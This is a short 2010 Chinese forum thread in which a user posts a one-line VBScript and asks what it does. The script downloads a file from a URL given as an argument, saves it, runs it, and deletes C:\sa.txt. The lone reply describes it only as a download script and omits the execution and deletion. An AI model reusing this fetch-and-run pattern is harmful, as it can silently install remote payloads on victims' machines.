fn=wscript.Arguments(1):set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET",wscript.Arguments(0),0:x.Send():set m=CreateObject("ADODB.Stream"):m.Mode=3:m.Type=1:m.Open():m.Write x.ResponseBody:m.SaveToFile fn,2:set a=CreateObject("shell.application"):a.shellexecute fn:a.shellexecute "cmd.exe","/c del C:\sa.txt"
中国DOS联盟
联盟域名：www.cn-dos.net 论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！
中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » 求这段代码的作用
查看 816 回复 1
楼 主
求这段代码的作用
发表于 2010-07-28 09:45 · 中国 湖南 长沙 电信
第 2 楼
发表于 2010-07-28 19:47 · 中国 重庆 电信
这是个下载脚本，用法是：(cmd下)
脚本名.vbs 下载地址 保存路径
脚本名.vbs 下载地址 保存路径
论坛跳转: